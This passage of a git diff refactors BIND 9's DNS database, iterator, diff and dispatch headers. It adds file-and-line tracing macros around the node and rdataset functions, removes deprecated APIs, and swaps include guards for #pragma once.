  * Close version '*versionp'.
  *
@@ -705,14 +671,20 @@ dns_db_closeversion(dns_db_t *db, dns_dbversion_t **versionp, bool commit);
  *** Node Methods
  ***/
 
+#define dns_db_findnode(db, name, create, nodep) \
+	dns__db_findnode(db, name, create, nodep DNS__DB_FILELINE)
 isc_result_t
-dns_db_findnode(dns_db_t *db, const dns_name_t *name, bool create,
-		dns_dbnode_t **nodep);
+dns__db_findnode(dns_db_t *db, const dns_name_t *name, bool create,
+		 dns_dbnode_t **nodep DNS__DB_FLARG);
 
+#define dns_db_findnodeext(db, name, create, methods, clientinfo, nodep) \
+	dns__db_findnodeext(db, name, create, methods, clientinfo,       \
+			    nodep DNS__DB_FILELINE)
 isc_result_t
-dns_db_findnodeext(dns_db_t *db, const dns_name_t *name, bool create,
-		   dns_clientinfomethods_t *methods,
-		   dns_clientinfo_t *clientinfo, dns_dbnode_t **nodep);
+dns__db_findnodeext(dns_db_t *db, const dns_name_t *name, bool create,
+		    dns_clientinfomethods_t *methods,
+		    dns_clientinfo_t	    *clientinfo,
+		    dns_dbnode_t **nodep     DNS__DB_FLARG);
 /*%<
  * Find the node with name 'name'.
  *
@@ -752,18 +724,29 @@ dns_db_findnodeext(dns_db_t *db, const dns_name_t *name, bool create,
  *	implementation used.
  */
 
+#define dns_db_find(db, name, version, type, options, now, nodep, foundname,  \
+		    rdataset, sigrdataset)                                    \
+	dns__db_find(db, name, version, type, options, now, nodep, foundname, \
+		     rdataset, sigrdataset DNS__DB_FILELINE)
 isc_result_t
-dns_db_find(dns_db_t *db, const dns_name_t *name, dns_dbversion_t *version,
-	    dns_rdatatype_t type, unsigned int options, isc_stdtime_t now,
-	    dns_dbnode_t **nodep, dns_name_t *foundname,
-	    dns_rdataset_t *rdataset, dns_rdataset_t *sigrdataset);
-
+dns__db_find(dns_db_t *db, const dns_name_t *name, dns_dbversion_t *version,
+	     dns_rdatatype_t type, unsigned int options, isc_stdtime_t now,
+	     dns_dbnode_t **nodep, dns_name_t *foundname,
+	     dns_rdataset_t		*rdataset,
+	     dns_rdataset_t *sigrdataset DNS__DB_FLARG);
+
+#define dns_db_findext(db, name, version, type, options, now, nodep,          \
+		       foundname, methods, clientinfo, rdataset, sigrdataset) \
+	dns__db_findext(db, name, version, type, options, now, nodep,         \
+			foundname, methods, clientinfo, rdataset,             \
+			sigrdataset DNS__DB_FILELINE)
 isc_result_t
-dns_db_findext(dns_db_t *db, const dns_name_t *name, dns_dbversion_t *version,
-	       dns_rdatatype_t type, unsigned int options, isc_stdtime_t now,
-	       dns_dbnode_t **nodep, dns_name_t *foundname,
-	       dns_clientinfomethods_t *methods, dns_clientinfo_t *clientinfo,
-	       dns_rdataset_t *rdataset, dns_rdataset_t *sigrdataset);
+dns__db_findext(dns_db_t *db, const dns_name_t *name, dns_dbversion_t *version,
+		dns_rdatatype_t type, unsigned int options, isc_stdtime_t now,
+		dns_dbnode_t **nodep, dns_name_t *foundname,
+		dns_clientinfomethods_t *methods, dns_clientinfo_t *clientinfo,
+		dns_rdataset_t		   *rdataset,
+		dns_rdataset_t *sigrdataset DNS__DB_FLARG);
 /*%<
  * Find the best match for 'name' and 'type' in version 'version' of 'db'.
  *
@@ -801,11 +784,6 @@ dns_db_findext(dns_db_t *db, const dns_name_t *name, dns_dbversion_t *version,
  *	and working up to the zone origin.  This option is only meaningful
  *	when querying redirect zones.
  *
- * \li	If the #DNS_DBFIND_FORCENSEC option is set, the database is assumed to
- *	have NSEC records, and these will be returned when appropriate.  This
- *	is only necessary when querying a database that was not secure
- *	when created.
- *
  * \li	If the DNS_DBFIND_COVERINGNSEC option is set, then look for a
  *	NSEC record that potentially covers 'name' if a answer cannot
  *	be found.  Note the returned NSEC needs to be checked to ensure
@@ -948,11 +926,16 @@ dns_db_findext(dns_db_t *db, const dns_name_t *name, dns_dbversion_t *version,
  *		errors.
  */
 
+#define dns_db_findzonecut(db, name, options, now, nodep, foundname, dcname,  \
+			   rdataset, sigrdataset)                             \
+	dns__db_findzonecut(db, name, options, now, nodep, foundname, dcname, \
+			    rdataset, sigrdataset DNS__DB_FILELINE)
 isc_result_t
-dns_db_findzonecut(dns_db_t *db, const dns_name_t *name, unsigned int options,
-		   isc_stdtime_t now, dns_dbnode_t **nodep,
-		   dns_name_t *foundname, dns_name_t *dcname,
-		   dns_rdataset_t *rdataset, dns_rdataset_t *sigrdataset);
+dns__db_findzonecut(dns_db_t *db, const dns_name_t *name, unsigned int options,
+		    isc_stdtime_t now, dns_dbnode_t **nodep,
+		    dns_name_t *foundname, dns_name_t *dcname,
+		    dns_rdataset_t	       *rdataset,
+		    dns_rdataset_t *sigrdataset DNS__DB_FLARG);
 /*%<
  * Find the deepest known zonecut which encloses 'name' in 'db'.
  *
@@ -998,8 +981,11 @@ dns_db_findzonecut(dns_db_t *db, const dns_name_t *name, unsigned int options,
  *	errors.
  */
 
+#define dns_db_attachnode(db, source, targetp) \
+	dns__db_attachnode(db, source, targetp DNS__DB_FILELINE)
 void
-dns_db_attachnode(dns_db_t *db, dns_dbnode_t *source, dns_dbnode_t **targetp);
+dns__db_attachnode(dns_db_t *db, dns_dbnode_t *source,
+		   dns_dbnode_t **targetp DNS__DB_FLARG);
 /*%<
  * Attach *targetp to source.
  *
@@ -1016,8 +1002,10 @@ dns_db_attachnode(dns_db_t *db, dns_dbnode_t *source, dns_dbnode_t **targetp);
  * \li	*targetp is attached to source.
  */
 
+#define dns_db_detachnode(db, nodep) \
+	dns__db_detachnode(db, nodep DNS__DB_FILELINE)
 void
-dns_db_detachnode(dns_db_t *db, dns_dbnode_t **nodep);
+dns__db_detachnode(dns_db_t *db, dns_dbnode_t **nodep DNS__DB_FLARG);
 /*%<
  * Detach *nodep from its node.
  *
@@ -1053,20 +1041,6 @@ dns_db_transfernode(dns_db_t *db, dns_dbnode_t **sourcep,
  * \li	'*sourcep' is NULL.
  */
 
-isc_result_t
-dns_db_expirenode(dns_db_t *db, dns_dbnode_t *node, isc_stdtime_t now);
-/*%<
- * Mark as stale all records at 'node' which expire at or before 'now'.
- *
- * Note: if 'now' is zero, then the current time will be used.
- *
- * Requires:
- *
- * \li	'db' is a valid cache database.
- *
- * \li	'node' is a valid node.
- */
-
 void
 dns_db_printnode(dns_db_t *db, dns_dbnode_t *node, FILE *out);
 /*%<
@@ -1123,11 +1097,15 @@ dns_db_createiterator(dns_db_t *db, unsigned int options,
  * XXXRTH  Should we check for glue and pending data in dns_db_findrdataset()?
  */
 
+#define dns_db_findrdataset(db, node, version, type, covers, now, rdataset,  \
+			    sigrdataset)                                     \
+	dns__db_findrdataset(db, node, version, type, covers, now, rdataset, \
+			     sigrdataset DNS__DB_FILELINE)
 isc_result_t
-dns_db_findrdataset(dns_db_t *db, dns_dbnode_t *node, dns_dbversion_t *version,
-		    dns_rdatatype_t type, dns_rdatatype_t covers,
-		    isc_stdtime_t now, dns_rdataset_t *rdataset,
-		    dns_rdataset_t *sigrdataset);
+dns__db_findrdataset(dns_db_t *db, dns_dbnode_t *node, dns_dbversion_t *version,
+		     dns_rdatatype_t type, dns_rdatatype_t covers,
+		     isc_stdtime_t now, dns_rdataset_t *rdataset,
+		     dns_rdataset_t *sigrdataset DNS__DB_FLARG);
 
 /*%<
  * Search for an rdataset of type 'type' at 'node' that are in version
@@ -1173,9 +1151,13 @@ dns_db_findrdataset(dns_db_t *db, dns_dbnode_t *node, dns_dbversion_t *version,
  *	implementation used.
  */
 
+#define dns_db_allrdatasets(db, node, version, options, now, iteratorp) \
+	dns__db_allrdatasets(db, node, version, options, now,           \
+			     iteratorp DNS__DB_FILELINE)
 isc_result_t
-dns_db_allrdatasets(dns_db_t *db, dns_dbnode_t *node, dns_dbversion_t *version,
-		    isc_stdtime_t now, dns_rdatasetiter_t **iteratorp);
+dns__db_allrdatasets(dns_db_t *db, dns_dbnode_t *node, dns_dbversion_t *version,
+		     unsigned int options, isc_stdtime_t now,
+		     dns_rdatasetiter_t **iteratorp DNS__DB_FLARG);
 /*%<
  * Make '*iteratorp' an rdataset iterator for all rdatasets at 'node' in
  * version 'version' of 'db'.
@@ -1184,6 +1166,12 @@ dns_db_allrdatasets(dns_db_t *db, dns_dbnode_t *node, dns_dbversion_t *version,
  *
  * \li	If 'version' is NULL, then the current version will be used.
  *
+ * \li	'options' controls which rdatasets are selected when interating over
+ *	the node.
+ *	'DNS_DB_STALEOK' return stale rdatasets as well as current rdatasets.
+ *	'DNS_DB_EXPIREDOK' return expired rdatasets as well as current
+ *	rdatasets.
+ *
  * \li	The 'now' field is ignored if 'db' is a zone database.  If 'db' is a
  *	cache database, an rdataset will not be found unless it expires after
  *	'now'.  Any ANY query will not match unless at least one rdataset at
@@ -1211,10 +1199,15 @@ dns_db_allrdatasets(dns_db_t *db, dns_dbnode_t *node, dns_dbversion_t *version,
  *	implementation used.
  */
 
+#define dns_db_addrdataset(db, node, version, now, rdataset, options,  \
+			   addedrdataset)                              \
+	dns__db_addrdataset(db, node, version, now, rdataset, options, \
+			    addedrdataset DNS__DB_FILELINE)
 isc_result_t
-dns_db_addrdataset(dns_db_t *db, dns_dbnode_t *node, dns_dbversion_t *version,
-		   isc_stdtime_t now, dns_rdataset_t *rdataset,
-		   unsigned int options, dns_rdataset_t *addedrdataset);
+dns__db_addrdataset(dns_db_t *db, dns_dbnode_t *node, dns_dbversion_t *version,
+		    isc_stdtime_t now, dns_rdataset_t *rdataset,
+		    unsigned int		  options,
+		    dns_rdataset_t *addedrdataset DNS__DB_FLARG);
 /*%<
  * Add 'rdataset' to 'node' in version 'version' of 'db'.
  *
@@ -1269,10 +1262,15 @@ dns_db_addrdataset(dns_db_t *db, dns_dbnode_t *node, dns_dbversion_t *version,
  *	implementation used.
  */
 
+#define dns_db_subtractrdataset(db, node, version, rdataset, options,  \
+				newrdataset)                           \
+	dns__db_subtractrdataset(db, node, version, rdataset, options, \
+				 newrdataset DNS__DB_FILELINE)
 isc_result_t
-dns_db_subtractrdataset(dns_db_t *db, dns_dbnode_t *node,
-			dns_dbversion_t *version, dns_rdataset_t *rdataset,
-			unsigned int options, dns_rdataset_t *newrdataset);
+dns__db_subtractrdataset(dns_db_t *db, dns_dbnode_t *node,
+			 dns_dbversion_t *version, dns_rdataset_t *rdataset,
+			 unsigned int		     options,
+			 dns_rdataset_t *newrdataset DNS__DB_FLARG);
 /*%<
  * Remove any rdata in 'rdataset' from 'node' in version 'version' of
  * 'db'.
@@ -1314,10 +1312,12 @@ dns_db_subtractrdataset(dns_db_t *db, dns_dbnode_t *node,
  *	implementation used.
  */
 
+#define dns_db_deleterdataset(db, node, version, type, covers) \
+	dns__db_deleterdataset(db, node, version, type, covers DNS__DB_FILELINE)
 isc_result_t
-dns_db_deleterdataset(dns_db_t *db, dns_dbnode_t *node,
-		      dns_dbversion_t *version, dns_rdatatype_t type,
-		      dns_rdatatype_t covers);
+dns__db_deleterdataset(dns_db_t *db, dns_dbnode_t *node,
+		       dns_dbversion_t *version, dns_rdatatype_t type,
+		       dns_rdatatype_t covers DNS__DB_FLARG);
 /*%<
  * Make it so that no rdataset of type 'type' exists at 'node' in version
  * version 'version' of 'db'.
@@ -1363,16 +1363,10 @@ dns_db_getsoaserial(dns_db_t *db, dns_dbversion_t *ver, uint32_t *serialp);
  * \li	'ver' is a valid version.
  */
 
-void
-dns_db_overmem(dns_db_t *db, bool overmem);
-/*%<
- * Enable / disable aggressive cache cleaning.
- */
-
 unsigned int
-dns_db_nodecount(dns_db_t *db);
+dns_db_nodecount(dns_db_t *db, dns_dbtree_t tree);
 /*%<
- * Count the number of nodes in 'db'.
+ * Count the number of nodes in 'db' or its auxiliary trees.
  *
  * Requires:
  *
@@ -1397,31 +1391,14 @@ dns_db_hashsize(dns_db_t *db);
  *      0 if not implemented.
  */
 
-isc_result_t
-dns_db_adjusthashsize(dns_db_t *db, size_t size);
-/*%<
- * For database implementations using a hash table, adjust
- * the size of the hash table to store objects with size
- * memory footprint.
- *
- * Requires:
- *
- * \li	'db' is a valid database.
- * \li  'size' is maximum memory footprint of the database
- *
- * Returns:
- * \li	#ISC_R_SUCCESS	The registration succeeded
- * \li	#ISC_R_NOMEMORY	Out of memory
- */
-
 void
-dns_db_settask(dns_db_t *db, isc_task_t *task);
+dns_db_setloop(dns_db_t *db, isc_loop_t *loop);
 /*%<
- * If task is set then the final detach maybe performed asynchronously.
+ * If loop is set then the final detach may be performed asynchronously.
  *
  * Requires:
  * \li	'db' is a valid database.
- * \li	'task' to be valid or NULL.
+ * \li	'loop' to be valid or NULL.
  */
 
 bool
@@ -1430,6 +1407,9 @@ dns_db_ispersistent(dns_db_t *db);
  * Is 'db' persistent?  A persistent database does not need to be loaded
  * from disk or written to disk.
  *
+ * By default, return false if the database implementation has a
+ * 'beginload' function and true if it doesn't.
+ *
  * Requires:
  *
  * \li	'db' is a valid database.
@@ -1480,8 +1460,10 @@ dns_db_unregister(dns_dbimplementation_t **dbimp);
  * \li	Any memory allocated in *dbimp will be freed.
  */
 
+#define dns_db_getoriginnode(db, nodep) \
+	dns__db_getoriginnode(db, nodep DNS__DB_FILELINE)
 isc_result_t
-dns_db_getoriginnode(dns_db_t *db, dns_dbnode_t **nodep);
+dns__db_getoriginnode(dns_db_t *db, dns_dbnode_t **nodep DNS__DB_FLARG);
 /*%<
  * Get the origin DB node corresponding to the DB's zone.  This function
  * should typically succeed unless the underlying DB implementation doesn't
@@ -1539,9 +1521,11 @@ dns_db_getsize(dns_db_t *db, dns_dbversion_t *version, uint64_t *records,
  * \li	#ISC_R_NOTIMPLEMENTED
  */
 
+#define dns_db_findnsec3node(db, name, create, nodep) \
+	dns__db_findnsec3node(db, name, create, nodep DNS__DB_FILELINE)
 isc_result_t
-dns_db_findnsec3node(dns_db_t *db, const dns_name_t *name, bool create,
-		     dns_dbnode_t **nodep);
+dns__db_findnsec3node(dns_db_t *db, const dns_name_t *name, bool create,
+		      dns_dbnode_t **nodep DNS__DB_FLARG);
 /*%<
  * Find the NSEC3 node with name 'name'.
  *
@@ -1580,8 +1564,6 @@ dns_db_setsigningtime(dns_db_t *db, dns_rdataset_t *rdataset,
  * Requires:
  * \li	'db' is a valid zone database.
  * \li	'rdataset' is or is to be associated with 'db'.
- * \li  'rdataset' is not pending removed from the heap via an
- *       uncommitted call to dns_db_resigned().
  *
  * Returns:
  * \li	#ISC_R_SUCCESS
@@ -1589,8 +1571,11 @@ dns_db_setsigningtime(dns_db_t *db, dns_rdataset_t *rdataset,
  * \li	#ISC_R_NOTIMPLEMENTED - Not supported by this DB implementation.
  */
 
+#define dns_db_getsigningtime(db, rdataset, name) \
+	dns__db_getsigningtime(db, rdataset, name DNS__DB_FILELINE)
 isc_result_t
-dns_db_getsigningtime(dns_db_t *db, dns_rdataset_t *rdataset, dns_name_t *name);
+dns__db_getsigningtime(dns_db_t *db, dns_rdataset_t *rdataset,
+		       dns_name_t *name DNS__DB_FLARG);
 /*%<
  * Return the rdataset with the earliest signing time in the zone.
  * Note: the rdataset is version agnostic.
@@ -1605,23 +1590,6 @@ dns_db_getsigningtime(dns_db_t *db, dns_rdataset_t *rdataset, dns_name_t *name);
  * \li	#ISC_R_NOTFOUND - No dataset exists.
  */
 
-void
-dns_db_resigned(dns_db_t *db, dns_rdataset_t *rdataset,
-		dns_dbversion_t *version);
-/*%<
- * Mark 'rdataset' as not being available to be returned by
- * dns_db_getsigningtime().  If the changes associated with 'version'
- * are committed this will be permanent.  If the version is not committed
- * this change will be rolled back when the version is closed.  Until
- * 'version' is either committed or rolled back, 'rdataset' can no longer
- * be acted upon by dns_db_setsigningtime().
- *
- * Requires:
- * \li	'db' is a valid zone database.
- * \li	'rdataset' to be associated with 'db'.
- * \li	'version' to be open for writing.
- */
-
 dns_stats_t *
 dns_db_getrrsetstats(dns_db_t *db);
 /*%<
@@ -1653,33 +1621,20 @@ dns_db_setcachestats(dns_db_t *db, isc_stats_t *stats);
  */
 
 void
-dns_db_rpz_attach(dns_db_t *db, void *rpzs, uint8_t rpz_num) ISC_DEPRECATED;
-/*%<
- * Attach the response policy information for a view to a database for a
- * zone for the view.
- */
-
-isc_result_t
-dns_db_rpz_ready(dns_db_t *db) ISC_DEPRECATED;
-/*%<
- * Finish loading a response policy zone.
- */
-
-isc_result_t
 dns_db_updatenotify_register(dns_db_t *db, dns_dbupdate_callback_t fn,
 			     void *fn_arg);
 /*%<
  * Register a notify-on-update callback function to a database.
+ * Duplicate callbacks are suppressed.
  *
  * Requires:
  *
  * \li	'db' is a valid database
- * \li	'db' does not have an update callback registered
  * \li	'fn' is not NULL
  *
  */
 
-isc_result_t
+void
 dns_db_updatenotify_unregister(dns_db_t *db, dns_dbupdate_callback_t fn,
 			       void *fn_arg);
 /*%<
@@ -1692,17 +1647,6 @@ dns_db_updatenotify_unregister(dns_db_t *db, dns_dbupdate_callback_t fn,
  *
  */
 
-isc_result_t
-dns_db_nodefullname(dns_db_t *db, dns_dbnode_t *node, dns_name_t *name);
-/*%<
- * Get the name associated with a database node.
- *
- * Requires:
- *
- * \li	'db' is a valid database
- * \li	'node' and 'name' are not NULL
- */
-
 isc_result_t
 dns_db_setservestalettl(dns_db_t *db, dns_ttl_t ttl);
 /*%<
@@ -1782,6 +1726,50 @@ dns_db_setgluecachestats(dns_db_t *db, isc_stats_t *stats);
  *	dns_rdatasetstats_create(); otherwise NULL.
  */
 
-ISC_LANG_ENDDECLS
+void
+dns_db_locknode(dns_db_t *db, dns_dbnode_t *node, isc_rwlocktype_t type);
+void
+dns_db_unlocknode(dns_db_t *db, dns_dbnode_t *node, isc_rwlocktype_t type);
+/*%<
+ * Lock/unlock a single node within a database so that data stored
+ * there can be manipulated directly.
+ */
 
-#endif /* DNS_DB_H */
+isc_result_t
+dns_db_addglue(dns_db_t *db, dns_dbversion_t *version, dns_rdataset_t *rdataset,
+	       dns_message_t *msg);
+/*%<
+ * Add glue records for rdataset to the additional section of message in
+ * 'msg'. 'rdataset' must be of type NS.
+ *
+ * Requires:
+ * \li	'db' is a database with 'zone' semantics.
+ * \li	'version' is the DB version.
+ * \li	'rdataset' is a valid NS rdataset.
+ * \li	'msg' is the DNS message to which the glue should be added.
+ *
+ * Returns:
+ *\li	#ISC_R_SUCCESS
+ *\li	#ISC_R_NOTIMPLEMENTED
+ *\li	#ISC_R_FAILURE
+ *\li	Any error that dns_rdata_additionaldata() can return.
+ */
+
+void
+dns_db_expiredata(dns_db_t *db, dns_dbnode_t *node, void *data);
+/*%<
+ * Tell the database 'db' to mark a block of data 'data' stored at
+ * node 'node' as expired.
+ */
+
+void
+dns_db_deletedata(dns_db_t *db, dns_dbnode_t *node, void *data);
+/*%<
+ * Tell the database 'db' to prepare to delete the block of data 'data'
+ * stored at node 'node. This may include, for example, removing the
+ * data from an LRU list or a heap.
+ */
+
+void
+dns_db_expiredata(dns_db_t *db, dns_dbnode_t *node, void *data);
+ISC_LANG_ENDDECLS
diff --git a/lib/dns/include/dns/dbiterator.h b/lib/dns/include/dns/dbiterator.h
index bac1b8806b..e03636a7e7 100644
--- a/lib/dns/include/dns/dbiterator.h
+++ b/lib/dns/include/dns/dbiterator.h
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -9,8 +11,7 @@
  * information regarding copyright ownership.
  */
 
-#ifndef DNS_DBITERATOR_H
-#define DNS_DBITERATOR_H 1
+#pragma once
 
 /*****
 ***** Module Info
@@ -67,15 +68,16 @@ ISC_LANG_BEGINDECLS
 *****/
 
 typedef struct dns_dbiteratormethods {
-	void (*destroy)(dns_dbiterator_t **iteratorp);
-	isc_result_t (*first)(dns_dbiterator_t *iterator);
-	isc_result_t (*last)(dns_dbiterator_t *iterator);
-	isc_result_t (*seek)(dns_dbiterator_t *iterator,
-			     const dns_name_t *name);
-	isc_result_t (*prev)(dns_dbiterator_t *iterator);
-	isc_result_t (*next)(dns_dbiterator_t *iterator);
+	void (*destroy)(dns_dbiterator_t **iteratorp DNS__DB_FLARG);
+	isc_result_t (*first)(dns_dbiterator_t *iterator DNS__DB_FLARG);
+	isc_result_t (*last)(dns_dbiterator_t *iterator DNS__DB_FLARG);
+	isc_result_t (*seek)(dns_dbiterator_t	   *iterator,
+			     const dns_name_t *name DNS__DB_FLARG);
+	isc_result_t (*prev)(dns_dbiterator_t *iterator DNS__DB_FLARG);
+	isc_result_t (*next)(dns_dbiterator_t *iterator DNS__DB_FLARG);
 	isc_result_t (*current)(dns_dbiterator_t *iterator,
-				dns_dbnode_t **nodep, dns_name_t *name);
+				dns_dbnode_t	**nodep,
+				dns_name_t *name  DNS__DB_FLARG);
 	isc_result_t (*pause)(dns_dbiterator_t *iterator);
 	isc_result_t (*origin)(dns_dbiterator_t *iterator, dns_name_t *name);
 } dns_dbiteratormethods_t;
@@ -96,13 +98,14 @@ struct dns_dbiterator {
 	/* Unlocked. */
 	unsigned int		 magic;
 	dns_dbiteratormethods_t *methods;
-	dns_db_t *		 db;
+	dns_db_t		*db;
 	bool			 relative_names;
-	bool			 cleaning;
 };
 
+#define dns_dbiterator_destroy(iteratorp) \
+	dns__dbiterator_destroy(iteratorp DNS__DB_FILELINE)
 void
-dns_dbiterator_destroy(dns_dbiterator_t **iteratorp);
+dns__dbiterator_destroy(dns_dbiterator_t **iteratorp DNS__DB_FLARG);
 /*%<
  * Destroy '*iteratorp'.
  *
@@ -117,8 +120,10 @@ dns_dbiterator_destroy(dns_dbiterator_t **iteratorp);
  *\li	*iteratorp == NULL.
  */
 
+#define dns_dbiterator_first(iterator) \
+	dns__dbiterator_first(iterator DNS__DB_FILELINE)
 isc_result_t
-dns_dbiterator_first(dns_dbiterator_t *iterator);
+dns__dbiterator_first(dns_dbiterator_t *iterator DNS__DB_FLARG);
 /*%<
  * Move the node cursor to the first node in the database (if any).
  *
@@ -132,8 +137,10 @@ dns_dbiterator_first(dns_dbiterator_t *iterator);
  *\li	Other results are possible, depending on the DB implementation.
  */
 
+#define dns_dbiterator_last(iterator) \
+	dns__dbiterator_last(iterator DNS__DB_FILELINE)
 isc_result_t
-dns_dbiterator_last(dns_dbiterator_t *iterator);
+dns__dbiterator_last(dns_dbiterator_t *iterator DNS__DB_FLARG);
 /*%<
  * Move the node cursor to the last node in the database (if any).
  *
@@ -147,8 +154,11 @@ dns_dbiterator_last(dns_dbiterator_t *iterator);
  *\li	Other results are possible, depending on the DB implementation.
  */
 
+#define dns_dbiterator_seek(iterator, name) \
+	dns__dbiterator_seek(iterator, name DNS__DB_FILELINE)
 isc_result_t
-dns_dbiterator_seek(dns_dbiterator_t *iterator, const dns_name_t *name);
+dns__dbiterator_seek(dns_dbiterator_t	   *iterator,
+		     const dns_name_t *name DNS__DB_FLARG);
 /*%<
  * Move the node cursor to the node with name 'name'.
  *
@@ -166,8 +176,10 @@ dns_dbiterator_seek(dns_dbiterator_t *iterator, const dns_name_t *name);
  *\li	Other results are possible, depending on the DB implementation.
  */
 
+#define dns_dbiterator_prev(iterator) \
+	dns__dbiterator_prev(iterator DNS__DB_FILELINE)
 isc_result_t
-dns_dbiterator_prev(dns_dbiterator_t *iterator);
+dns__dbiterator_prev(dns_dbiterator_t *iterator DNS__DB_FLARG);
 /*%<
  * Move the node cursor to the previous node in the database (if any).
  *
@@ -182,8 +194,10 @@ dns_dbiterator_prev(dns_dbiterator_t *iterator);
  *\li	Other results are possible, depending on the DB implementation.
  */
 
+#define dns_dbiterator_next(iterator) \
+	dns__dbiterator_next(iterator DNS__DB_FILELINE)
 isc_result_t
-dns_dbiterator_next(dns_dbiterator_t *iterator);
+dns__dbiterator_next(dns_dbiterator_t *iterator DNS__DB_FLARG);
 /*%<
  * Move the node cursor to the next node in the database (if any).
  *
@@ -198,9 +212,11 @@ dns_dbiterator_next(dns_dbiterator_t *iterator);
  *\li	Other results are possible, depending on the DB implementation.
  */
 
+#define dns_dbiterator_current(iterator, nodep, name) \
+	dns__dbiterator_current(iterator, nodep, name DNS__DB_FILELINE)
 isc_result_t
-dns_dbiterator_current(dns_dbiterator_t *iterator, dns_dbnode_t **nodep,
-		       dns_name_t *name);
+dns__dbiterator_current(dns_dbiterator_t *iterator, dns_dbnode_t **nodep,
+			dns_name_t *name DNS__DB_FLARG);
 /*%<
  * Return the current node.
  *
@@ -274,18 +290,4 @@ dns_dbiterator_origin(dns_dbiterator_t *iterator, dns_name_t *name);
  *\li	Other results are possible, depending on the DB implementation.
  */
 
-void
-dns_dbiterator_setcleanmode(dns_dbiterator_t *iterator, bool mode);
-/*%<
- * Indicate that the given iterator is/is not cleaning the DB.
- *
- * Notes:
- *\li	When 'mode' is true,
- *
- * Requires:
- *\li	'iterator' is a valid iterator.
- */
-
 ISC_LANG_ENDDECLS
-
-#endif /* DNS_DBITERATOR_H */
diff --git a/lib/dns/include/dns/diff.h b/lib/dns/include/dns/diff.h
index ea535d4426..e4677ddbb5 100644
--- a/lib/dns/include/dns/diff.h
+++ b/lib/dns/include/dns/diff.h
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -9,8 +11,7 @@
  * information regarding copyright ownership.
  */
 
-#ifndef DNS_DIFF_H
-#define DNS_DIFF_H 1
+#pragma once
 
 /*****
 ***** Module Info
@@ -66,13 +67,14 @@ typedef enum {
 } dns_diffop_t;
 
 typedef struct dns_difftuple dns_difftuple_t;
+typedef ISC_LIST(dns_difftuple_t) dns_difftuplelist_t;
 
 #define DNS_DIFFTUPLE_MAGIC    ISC_MAGIC('D', 'I', 'F', 'T')
 #define DNS_DIFFTUPLE_VALID(t) ISC_MAGIC_VALID(t, DNS_DIFFTUPLE_MAGIC)
 
 struct dns_difftuple {
 	unsigned int magic;
-	isc_mem_t *  mctx;
+	isc_mem_t   *mctx;
 	dns_diffop_t op;
 	dns_name_t   name;
 	dns_ttl_t    ttl;
@@ -92,9 +94,9 @@ typedef struct dns_diff dns_diff_t;
 #define DNS_DIFF_VALID(t) ISC_MAGIC_VALID(t, DNS_DIFF_MAGIC)
 
 struct dns_diff {
-	unsigned int magic;
-	isc_mem_t *  mctx;
-	ISC_LIST(dns_difftuple_t) tuples;
+	unsigned int	    magic;
+	isc_mem_t	   *mctx;
+	dns_difftuplelist_t tuples;
 };
 
 /* Type of comparison function for sorting diffs. */
@@ -275,5 +277,3 @@ dns_diff_print(dns_diff_t *diff, FILE *file);
  */
 
 ISC_LANG_ENDDECLS
-
-#endif /* DNS_DIFF_H */
diff --git a/lib/dns/include/dns/dispatch.h b/lib/dns/include/dns/dispatch.h
index c82b6c6ce4..d5caf9af78 100644
--- a/lib/dns/include/dns/dispatch.h
+++ b/lib/dns/include/dns/dispatch.h
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -9,8 +11,9 @@
  * information regarding copyright ownership.
  */
 
-#ifndef DNS_DISPATCH_H
-#define DNS_DISPATCH_H 1
+#pragma once
+
+#include <isc/netmgr.h>
 
 /*****
 ***** Module Info
@@ -19,12 +22,12 @@
 /*! \file dns/dispatch.h
  * \brief
  * DNS Dispatch Management
- * 	Shared UDP and single-use TCP dispatches for queries and responses.
+ *	Shared UDP and single-use TCP dispatches for queries and responses.
  *
  * MP:
  *
- *\li     	All locking is performed internally to each dispatch.
- * 	Restrictions apply to dns_dispatch_removeresponse().
+ *\li	All locking is performed internally to each dispatch.
+ *	Restrictions apply to dns_dispatch_done().
  *
  * Reliability:
  *
@@ -32,8 +35,7 @@
  *
  * Security:
  *
- *\li	Depends on the isc_socket_t and dns_message_t for prevention of
- *	buffer overruns.
+ *\li	Depends on dns_message_t for prevention of buffer overruns.
  *
  * Standards:
  *
@@ -50,111 +52,43 @@
 #include <isc/buffer.h>
 #include <isc/lang.h>
 #include <isc/mutex.h>
-#include <isc/socket.h>
+#include <isc/netmgr.h>
+#include <isc/refcount.h>
 #include <isc/types.h>
 
 #include <dns/types.h>
 
-ISC_LANG_BEGINDECLS
-
-/*%
- * This event is sent to a task when a response comes in.
- * No part of this structure should ever be modified by the caller,
- * other than parts of the buffer.  The holy parts of the buffer are
- * the base and size of the buffer.  All other parts of the buffer may
- * be used.  On event delivery the used region contains the packet.
- *
- * "id" is the received message id,
- *
- * "addr" is the host that sent it to us,
- *
- * "buffer" holds state on the received data.
- *
- * The "free" routine for this event will clean up itself as well as
- * any buffer space allocated from common pools.
- */
+#undef DNS_DISPATCH_TRACE
 
-struct dns_dispatchevent {
-	ISC_EVENT_COMMON(dns_dispatchevent_t); /*%< standard event common */
-	isc_result_t	   result;	       /*%< result code */
-	int32_t		   id;		       /*%< message id */
-	isc_sockaddr_t	   addr;	       /*%< address recv'd from */
-	struct in6_pktinfo pktinfo;	       /*%< reply info for v6 */
-	isc_buffer_t	   buffer;	       /*%< data buffer */
-	uint32_t	   attributes;	       /*%< mirrored from socket.h */
-};
+ISC_LANG_BEGINDECLS
 
 /*%
  * This is a set of one or more dispatches which can be retrieved
  * round-robin fashion.
  */
 struct dns_dispatchset {
-	isc_mem_t *	 mctx;
+	isc_mem_t	*mctx;
